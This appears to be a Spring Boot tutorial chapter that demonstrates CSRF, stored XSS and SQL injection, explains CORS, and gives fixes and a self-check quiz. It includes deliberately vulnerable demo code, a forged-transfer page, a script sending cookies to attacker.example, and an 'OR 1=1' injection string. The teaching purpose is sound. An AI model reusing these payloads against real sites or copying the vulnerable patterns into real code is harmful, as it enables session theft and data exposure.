Skip to content
Chapter 33 · Spring Boot

Web Attacks: CSRF, XSS, CORS and SQL Injection ​

The application can now serve and store data. Before securing it with Spring Security, it helps to see what it is being secured against. This chapter demonstrates three attacks (CSRF, XSS and SQL injection) and CORS, the browser rule that decides which other sites may call your API.

1. CSRF (Cross-Site Request Forgery) ​

The user is already logged in to a site. A CSRF attack tricks their browser into sending an unwanted request to that site; the browser attaches the session cookie automatically, so the request runs as the user. It matters wherever the login is kept in a session cookie (stateful authentication).

Demo ​

A form-login application with a session:

java
@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
        http.sessionManagement(session -> session.sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED))
            .authorizeHttpRequests(auth -> auth.anyRequest().authenticated())
            .formLogin(Customizer.withDefaults());
        return http.build();
    }
}
java
@RestController
public class UserController {

    @GetMapping("/transfer")
    public String transferMoney(@RequestParam String amount, @RequestParam String to) {
        return "Transferred $" + amount + " to " + to;
    }

    @GetMapping("/")
    public String hello() {
        return "hello";
    }
}
  1. The user logs in; the browser holds the JSESSIONID cookie.
  2. The attacker sends them a page:
html
<!DOCTYPE html>
<html lang="en">
<head>
    <title>CSRF Attack Demo</title>
</head>
<body>
<h2>Click Below to Claim Your Reward!</h2>
<a href="http://localhost:8080/transfer?amount=1000&to=attacker">
    <button>Claim My Money</button>
</a>
</body>
</html>

The user clicks "Claim My Money". The browser requests /transfer with the session cookie, and the server answers "Transferred $1000 to attacker".

Note that CSRF protection was on here: Spring Security enables it by default with form login, and the attack still worked. CSRF tokens are checked only on state-changing methods (POST, PUT, PATCH, DELETE); GET, HEAD, OPTIONS and TRACE are treated as safe, read-only requests. So the first rule: never change anything in a GET.

Protection: the CSRF token ​

With the transfer as a POST:

java
@PostMapping("/transfer")
public String transferMoney(@RequestParam String amount, @RequestParam String to) { ... }

the same trick (now a hidden form auto-submitted by the attacker's page) gets 403. The server issues a random CSRF token tied to the user's session; the application's own pages include it in their forms (Spring's login page has a hidden _csrf field). The attacker's page cannot read it, so its forged request arrives without a valid token and is rejected. This proves the request came from the real site.

(Modern browsers also send cookies with SameSite restrictions that block many cross-site POSTs; tokens remain the dependable defense. APIs that authenticate with a header set by the client, such as a JWT, are not exposed to CSRF, which is why the stateless examples disable it.)

2. XSS (Cross-Site Scripting) ​

The attacker gets their script into a page that other users view, typically through user input such as a comments section. It is used to steal sessions, act as the user, or deface the site.

Demo ​

java
@Controller
public class TestXSS {

    private final List<String> comments = new ArrayList<>();

    @GetMapping("/xss")
    public String showComments(Model model) {
        model.addAttribute("comments", comments);
        return "xss";   // @Controller: renders templates/xss.html
    }

    @PostMapping("/comment")
    public String addComment(@RequestParam String comment) {
        comments.add(comment);   // stored without any checks (think: saved in a DB)
        return "redirect:/xss";
    }
}

src/main/resources/templates/xss.html (Thymeleaf):

html
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
    <title>XSS Demo</title>
</head>
<body>
<h2>Leave a Comment</h2>
<form action="/comment" method="post">
    <input type="text" name="comment" required>
    <button type="submit">Submit</button>
</form>

<h3>Comments:</h3>
<ul>
    <!-- th:utext inserts the comment as raw HTML -->
    <li th:utext="${comment}" th:each="comment : ${comments}"></li>
</ul>
</body>
</html>

Post the comment <script>alert("XSS Attack")</script>. It is stored, and every user who opens /xss gets it back as real HTML: the browser runs the script.

An alert is harmless, but the script could be anything, for example:

html
<script>
  fetch('https://attacker.example/steal?cookie=' + document.cookie);
</script>

This sends the viewer's cookies to the attacker. Spring Boot marks the JSESSIONID cookie HttpOnly, so scripts cannot read that one. But the script needs no cookie to do damage: it runs inside the user's logged-in page, so it can call the application's APIs as that user (the browser attaches the session cookie itself), read what is on screen, or change the page.

Protection ​

  • Escape output: convert special characters, < to &lt; and so on, so input is shown as text, not run as HTML. In Thymeleaf, use th:text, which escapes (&lt;script&gt;alert(&quot;XSS Attack&quot;)&lt;/script&gt; is displayed as text), instead of th:utext.
  • Validate input before storing and rendering it.

3. CORS (Cross-Origin Resource Sharing) ​

CORS is not an attack: it is a browser security mechanism. By default, a web page's script may call only its own origin; a call to a different origin is blocked unless that server allows it.

Origin = protocol + domain + port. These pairs are all different origins:

Page (client)ServerDiffers in
https://localhost:8080http://localhost:8080protocol
https://localhost:9090https://localhost:8080port
https://sub.localhost:9090https://localhost:9090domain

To accept calls from another origin, the server sends headers such as Access-Control-Allow-Origin. With Spring Security:

java
http.sessionManagement(session -> session.sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED))
    .authorizeHttpRequests(auth -> auth.anyRequest().authenticated())
    .cors(cors -> cors.configurationSource(request -> {
        CorsConfiguration config = new CorsConfiguration();
        config.setAllowedOrigins(List.of("https://sub.localhost:9090"));   // the allowed frontend
        config.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE"));
        config.setAllowedHeaders(List.of("Authorization", "Content-Type"));
        config.setAllowCredentials(true);                                  // allow cookies
        return config;
    }))
    .formLogin(Customizer.withDefaults());

For a call that is not "simple" (a POST with JSON, a custom header, ...), the browser first sends a preflight OPTIONS request with the page's Origin. From https://sub.localhost:9090 the answer includes Access-Control-Allow-Origin: https://sub.localhost:9090 and Access-Control-Allow-Credentials: true, so the browser proceeds. From any other origin Spring answers 403 Invalid CORS request, and the browser blocks the call.

Keep the list of allowed origins tight. Allowing any origin together with credentials would let every website call your API as your logged-in users. And CORS is not CSRF protection: it controls which pages may read responses in the browser, while a plain link or form submission from another site can still reach your server.

4. SQL injection ​

The attacker puts SQL into an input field, and the application pastes it into its query.

java
@GetMapping("/find")
public List<UserDetails> findUser(@RequestParam String name) {
    return userDetailsService.findByName(name);
}
java
// UNSAFE: the input is glued into the SQL
public List<UserDetails> findByName(String name) {
    String sql = "SELECT * FROM user_details WHERE user_name = '" + name + "'";
    return entityManager.createNativeQuery(sql, UserDetails.class).getResultList();
}

/find?name=alice returns alice. But /find?name=x' OR '1'='1 builds:

sql
SELECT * FROM user_details WHERE user_name = 'x' OR '1'='1'

The condition is always true: every user is returned. Worse inputs can modify or delete data.

Protection: parameterized queries ​

java
public List<UserDetails> findByName(String name) {
    String sql = "SELECT * FROM user_details WHERE user_name = :name";
    return entityManager.createNativeQuery(sql, UserDetails.class)
            .setParameter("name", name)
            .getResultList();
}

The value is sent separately from the SQL, so it is always treated as data, never as SQL. The same input now finds nobody (there is no user named x' OR '1'='1). Spring Data derived queries, JPQL with parameters and JdbcTemplate with ? placeholders are all parameterized.

Next: Chapter 34 introduces Spring Security itself: where it sits in the request flow, and how authentication works inside it.

Check yourself ​

  1. What does a CSRF attack exploit, and which kind of authentication is exposed to it?
  2. CSRF protection is enabled, yet a GET /transfer?... link transfers money. Why?
  3. How does a CSRF token stop a forged POST?
  4. What is XSS, and how does a stored comment become an attack?
  5. The session cookie is HttpOnly. Is an XSS hole then harmless?
  6. What is the difference between th:utext and th:text?
  7. Is CORS an attack? What does it control?
  8. Which of these are different origins: https://a.com:443 vs http://a.com; https://a.com vs https://api.a.com?
  9. What does a server send to allow cross-origin calls, and what happens in a preflight?
  10. What does x' OR '1'='1 do to the unsafe query, and how do parameterized queries prevent it?
Answers
  1. That the browser automatically sends the session cookie with requests to the site; stateful (session cookie) authentication.
  2. CSRF tokens are checked only on state-changing methods; GET is treated as safe. State changes must not happen in GET.
  3. The server requires a secret per-session token in the request; the attacker's page cannot read it, so the forged request lacks it and gets 403.
  4. Injecting a script into a page other users see; the comment is stored and served back as raw HTML, so every viewer's browser runs it.
  5. No: the script cannot read that cookie, but it runs in the logged-in page and can call APIs as the user or change the page.
  6. th:utext inserts raw HTML; th:text escapes it, so it is shown as text.
  7. No, it is a browser mechanism that lets servers allow specific other origins to call them; by default cross-origin calls from scripts are blocked.
  8. Both pairs are different origins (protocol and port differ in the first; the domain differs in the second).
  9. Access-Control-Allow-Origin (and related headers). The browser sends OPTIONS with its Origin; only if the answer allows it does the real request go ahead.
  10. It makes the WHERE clause always true, returning every row. The value is sent separately from the SQL and treated only as data.